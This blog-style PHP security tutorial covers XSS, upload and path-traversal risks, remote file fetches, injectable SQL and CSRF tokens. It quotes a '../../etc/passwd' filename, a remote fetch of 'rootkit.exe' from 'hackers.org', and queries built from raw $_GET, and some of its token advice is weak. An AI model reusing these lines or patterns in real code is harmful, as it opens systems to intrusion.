PHP Code

There are a lot of books treating this issue. So, why another post about this subject. Well, here a try to cover this problem in a short way so that you don’t have to read hundreds of pages or to search all over the Internet for this.

These being said, you must know that securing a PHP application is not an easy process, as you may think and involves a lot of other things, not just your code.

The things you must take care when trying to secure a PHP application are:
1. Forms
2. URLs
3. Databases and SQL
4. Sessions and Cookies
5. Files and Includes (including file uploads)
6. Commands
7. Authentication and Authorization
8. Shared hosting

So, we are talking about securing our PHP code, about securing PHP on the server and about securing Apache and MySQL.

Because the discussion about securing PHP code is a little bit longer, I’ve divided it into two parts, the third is about securing Apache and MySQL.

Let’ s start with the PHP code. Here, the attack/attacks could be:
1. Cross- site scripting (XSS)
What is it?
This type of attack is one of the most common and known attacks and reflects a special case of code injection. Is the result of sending unchecked, user- supplied data to a browser. For example, a malicious user can create an account with this username,
claudia_helen
and every time someone clicks this username he will be redirected to this page, where the evil user will get his/her sessionID and use it for his malicious purpose.

Also, your site design might be attacked if a user inserts a HTML portion like this one:

</div>

or

</table>

(closing a container before time) depending on your page HTML.

You have to know that are two types of XSS attacks:
- reflected or non- persistent
- stored or persistent

The reflected XSS attack is the most common type of attack and the easiest for the malicious user, which places a link in a banner or a search result from a search engines and makes the user clicks it. This way he can deliver a virus or a malformed cookie.

The stored XSS attack is the scary one because of its devastating results. This is the case for the example presented above.

How should I protect my application from it?
There are several methods to fight against this attack:
1. establish a pattern for the user input, for example username should have only characters and number between 0 and 9
2. use strip_tags when inserting user input into database for cleaning the code of tags like the one above (see http://www.php.net/manual/en/function.strip-tags.php for more details)
3. use htmlspecialchars() when output user input, which converts all applicable HTML characters to entities (see http://www.php.net/manual/en/function.htmlspecialchars.php for more details)

In other words, filter user input.

2. Malicious file execution, file uploads and filename
OBS: If your application doesn’t need to use the uploading process, is safer to disable the file_uploads directive in php.ini.

What is it?
This attack consists of uploading malicious files. For example, assume that you have an application which allows users to upload photos and videos. A malicious user can upload a photo containing some malicious code or even a virus that will read all your files from the server or a user can send a bad name for a filename, like this “../../etc/passwd”.

How should I protect my application from it?
The solution for the second example is relatively simple: you must validate the filename and then to concatenate the filename with a valid directory for upload (a directory where you intend to allow users to upload – is best to place this directory outside the root and don’t forget to give it the proper permissions).
For the first example you have to do a lot more:
- test the file type (MIME type – for this you must install a PECL extension called “fileinfo”, see http://php.net/manual/en/install.pecl.php for details; this is absolutely necessary because you can NOT trust the user input and the name of the file from the $_FILES super global array is generated by the user)
- test to see if the file is really uploaded, with is_uploaded_file() function
- by default the file is uploaded to tmp directory, so you have to move it to a proper directory; you will do this using the move_uploaded_file() function

Here I have to remind you about another problem concerning files: remote filesystem access. For example you may want to read a file this way: file_get_contents(“http://www.site.com/rss.xml”). Ok, but if someone hacks your application and instead of a rss file he puts somethong like this: file_get_contents(“http://www.site.com/index.php?file=http://hackers.org/rootkit.exe”). The solution for that is to disable allow_url_fopen from php.ini, in other words to disable the capability to access remote files. If you really need this directive enabled you have to separate the process intro two distinct tasks, rather than accessing them directly:
- retrieve data
- process data

and for each of the above tasks you can create an API (a function to filter and validate the URL/filename and the content from that URL) to handle it.

OBS: 1. Another thing you should do is to set the upload_max_filesize and post_max_size directives in php.ini to some reasonable values.
2. If coding using a framework, you can use the framework’s build-in library for uploads. For example, if using CodeIgniter you may use the File Uploading Class (more info here, http://codeigniter.com/user_guide/libraries/file_uploading.html ). If using ZendFramework you may use the Zend_File Class (more info here, http://framework.zend.com/manual/en/zend.file.html ) which provides some of the security checks needed.

Another thing to take care is when using the exec() command with user input, for example. That user input must be filtered and validated to protected the server from command injections. In this case you can use escapeshellcmd() or escapeshellarg(), depending on the context.

3. Insecure direct object reference or simpler, semantic URL attacks
What is it?
This is an attack launched just from the URL. How is that possible? Very simple. You have probably seen a lot of URLs like this: http:///www.example.com/index.php?orderId=10 or http:///www.example.com/view_order/orderId=10 .
In the application, you may have an SQL query like this one:

$sql = “SELECT * 
FROM `orders` 
WHERE id={$_GET[‘orderId’]}”;

or

$sql = “DELETE 
FROM `orders` 
WHERE id={$_GET[‘orderId’]}”;

How should I protect my application from it?
Well, here is relatively easy to prevent this things from happening. The method I use is for example to add a userId verification before query the database for order information. The solution for this type of attack is very connected with the context, but in this cases you have to remember to distinguish proper user information like order, account information, etc.

4. Cross- site request forgeries (CSRF)
What is it?
CSRF is a type of attack that allows the attacker to send arbitrary HTTP requests from the victim. Attention, I said the VICTIM. So, in this case you can not detect the attacker.
For example, an attacker can observe the mechanism through which a user buys himself something from an online shop and sees that the order is processed from a URL like this one: http://www.example.com/buy.php?itemId=1&quantity=34 .
Backward, the developer used an $_REQUEST variable to get user’s order and this is fatale because the attacker can buy every item and in what ever quantity he wants. Actually he can place this link in a src attribute of an image that loads every time a page is visited.

How should I protect my application from it?
Well, in this type of attacks the first thing you should do is to use $_POST instead of $_REQUEST, validate the user and use a token validation system to force the user to use your own forms. Maybe you ask yourself what is the deal with this token system, so I give you an example:

<?php
//you have to generate the token and put it in session
    session_start();
    $token = md5(uniqid(rand(), TRUE));
    $_SESSION['token'] = $token;
?>
    <form action="buy.php" method="POST">
    <input type="hidden" name="token" value="<?php echo $token; ?>" />
    <p> Item:
    <select name="item">
      <option value="1">Lipstick</option>
      <option value="2">Mirror</option>
    </select><br />
    Quantity: <input type="text" name="quantity" /><br />
    <input type="submit" value="Buy" />
    </p>
    </form>

Then, you have to check the token from $_POST and compare it with the one from session:

<?php
    if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token']){
      /* Valid Token */
    }
?>

No related posts.